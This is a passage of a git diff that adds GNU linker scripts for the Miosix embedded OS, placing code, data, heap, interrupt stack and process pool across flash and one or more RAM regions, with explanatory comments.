wasted unless user code allocates just enough global variables to fill + * ram1, or conversely it is possible to exceed the capacity of ram1 by + * allocating too many global variables, while still having available RAM in + * ram2, which can usually be solved by modifying application code to move + * some of these global variables on the heap. This is an unfortunate effect + * of the architectural contraint of having two noncontiguous RAM memory blocks + * being forced upon us by hardware designers. + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram1 .irq_stack + * .data + * .bss + * ram2 .heap + * .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram1); + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram1 + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram1 AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram1 + _bss_end = .; + + /* + * _end is the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram2) + LENGTH(ram2) - _process_pool_size; + _heap_end = .; + } > ram2 + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram2 +} diff --git a/miosix/ldscripts/miosix-flash-2ram-separate-irqstack.ld b/miosix/ldscripts/miosix-flash-2ram-separate-irqstack.ld new file mode 100644 index 000000000..abbbdb0da --- /dev/null +++ b/miosix/ldscripts/miosix-flash-2ram-separate-irqstack.ld @@ -0,0 +1,234 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides three memory + * regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - A first contiguous block of volatile read/write memory, most commonly + * SRAM that is called "ram1" in the memory map + * - A second contiguous block of volatile read/write memory, most commonly + * an off-chip SRAM or DRAM that is called "ram2" in the memory map + * + * Since there are two noncontiguous blocks of RAM, they cannot be treated as + * one, and the kernel must somehow find a use for those. + * This linker script chooses to place only the interrupt stack in the internal + * RAM (ram1), everything else in the external RAM (ram2). This linker script + * also allows to use a portion of ram2 for the process pool for running + * processes, but in chips providing an external RAM it is usually more + * efficient to run the entire kernel from the internal RAM and only leave the + * process pool in the external one, and for that you need the + * miosix-flash-2ram-separate-pool.ld linker script instead of this one. + * However, in the uncommon case where the kernelspace application require more + * memory than the available internal one, this linker script can be used. + * + * It is expected that the chip-specific linker script that defines the memory + * map will choose the internal RAM for ram1 and the external one for ram2. + * + * Note that when running Miosix with this linker script the internal ram (ram1) + * tends to be wasted as the IRQ stack only requires a few hunderd bytes, but + * in return you get maximun flexibility in allocating .data, .bss, stacks and + * heap as they'll all be placed in the large external RAM. You also get uniform + * memory access latencies, except for the IRQ stack that will run from the much + * faster internal SRAM, which is desirable. + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram1 .irq_stack + * ram2 .data + * .bss + * .heap + * .process_pool + */ + +/* Default values for tunable variables */ +/* NOTE: no _irq_stack_size tunable, implicitly defined as the size of ram1 */ +_irq_stack_size = LENGTH(ram1); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram1); + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram1 + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram2 AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram2 + _bss_end = .; + + /* + * _end is both the end of the statically allocated RAM block (end of .bss) + * and the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram2) + LENGTH(ram2) - _process_pool_size; + _heap_end = .; + } > ram2 + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram2 +} diff --git a/miosix/ldscripts/miosix-flash-2ram-separate-pool.ld b/miosix/ldscripts/miosix-flash-2ram-separate-pool.ld new file mode 100644 index 000000000..d1a776d2f --- /dev/null +++ b/miosix/ldscripts/miosix-flash-2ram-separate-pool.ld @@ -0,0 +1,229 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides three memory + * regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - A first contiguous block of volatile read/write memory, most commonly + * SRAM that is called "ram1" in the memory map + * - A second contiguous block of volatile read/write memory, most commonly + * SRAM, but also an off-chip SRAM or DRAM that is called "ram2" in the memory + * map + * + * Since there are two noncontiguous blocks of RAM, they cannot be treated as + * one, and the kernel must somehow find a use for those. + * This linker script chooses to place all kernelspace data: + * - interrupt stack + * - global variables (.data / .bss) + * - kernel heap + * in the first RAM (ram1), and the process pool in the second RAM (ram2) + * + * It is expected that the chip-specific linker script that defines the memory + * map will choose the smallest ram block for ram1 and the largest one for ram2 + * and that the first RAM block is large enough to run a kernel compiled with + * processes support (usually at least 32KB). + * It is also expected that if there are differences in speed between the two + * RAM blocks (such as one being an internal RAM and the other being an external + * one), the fastest be mapped to ram1, as it is used for the kernel. + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram1 .irq_stack + * .data + * .bss + * .heap + * ram2 .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +/* NOTE: no _process_pool_size tunable, implicitly defined as the size of ram2 */ +_process_pool_size = LENGTH(ram2); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram1); + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram1 + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram1 AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram1 + _bss_end = .; + + /* + * _end is both the end of the statically allocated RAM block (end of .bss) + * and the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram1) + LENGTH(ram1); + _heap_end = .; + } > ram1 + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram2 +} diff --git a/miosix/ldscripts/miosix-flash-3ram-separate-heap-sgm.ld b/miosix/ldscripts/miosix-flash-3ram-separate-heap-sgm.ld new file mode 100644 index 000000000..47cd921be --- /dev/null +++ b/miosix/ldscripts/miosix-flash-3ram-separate-heap-sgm.ld @@ -0,0 +1,256 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides four memory + * regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - A first contiguous block of volatile read/write memory, most commonly + * SRAM that is called "ram1" in the memory map + * - A second contiguous block of volatile read/write memory, most commonly + * SRAM, but also an off-chip SRAM or DRAM that is called "ram2" in the memory + * map + * - A third contiguous block of read/write memory that must be preserved + * across reboots, supported by the safeguard memory driver + * + * Since there are two noncontiguous blocks of RAM, they cannot be treated as + * one, and the kernel must somehow find a use for those. + * This linker script chooses to place interrupt stack and global variables + * (.data / .bss) in the first RAM (ram1), and the heap in the second RAM + * (ram2). This linker script also allows to use a portion of ram2 for the + * process pool for running processes, but in chips providing two RAM blocks + * it is usually more convenient to allocate the entire ram2 block for the + * process pool, and for that you need the miosix-flash-2ram-separate-pool.ld + * linker script instead of this one. + * However, in the uncommon case where the kernelspace application require more + * mmemory than the available ram1, this linker script can be used. + * + * It is expected that the chip-specific linker script that defines the memory + * map will choose the smallest RAM block for ram1 and the largest one for ram2 + * as in Miosix heap usage is usually larger than global variables. Note that + * the kernel uses the heap also to allocate the stack of threads (including + * the stack of main()). + * It is also expected that if there are differences in speed between the two + * RAM blocks (such as one being an internal RAM and the other being an external + * one), the fastest be mapped to ram1, as it is used for the stack for + * interrupts. + * + * Note that when running Miosix with this linker script some part of ram1 tend + * to be wasted unless user code allocates just enough global variables to fill + * ram1, or conversely it is possible to exceed the capacity of ram1 by + * allocating too many global variables, while still having available RAM in + * ram2, which can usually be solved by modifying application code to move + * some of these global variables on the heap. This is an unfortunate effect + * of the architectural contraint of having two noncontiguous RAM memory blocks + * being forced upon us by hardware designers. + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram1 .irq_stack + * .data + * .bss + * ram2 .heap + * .process_pool + * sgm .preserve + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram1); + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram1 + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram1 AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram1 + _bss_end = .; + + /* + * _end is the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = ORIGIN(ram2) + LENGTH(ram2) - _process_pool_size; + _heap_end = .; + } > ram2 + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram2 + + .preserve(NOLOAD) : ALIGN(4) + { + _preserve_start = .; + . = ALIGN(4); + *(.preserve); + *(.preserve*); + . = ALIGN(4); + _preserve_end = .; + } > sgm +} diff --git a/miosix/ldscripts/miosix-flash-ram-rp2040.ld b/miosix/ldscripts/miosix-flash-ram-rp2040.ld new file mode 100644 index 000000000..fd2ed3969 --- /dev/null +++ b/miosix/ldscripts/miosix-flash-ram-rp2040.ld @@ -0,0 +1,213 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script behaves the same as themiosix-flash-ram.ld linker script + * except for adding the .boot2 section at the start of flash, which is + * necessary to boot the RP2040 microcontroller + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .boot2 + * .text + * ram .irq_stack + * .data + * .bss + * .heap + * .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* + * Stage 2 bootloader must be at the base address of flash + */ + KEEP(*(.boot2)) + + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + . = ORIGIN(ram); + _irq_stack_bottom = .; + . = . + 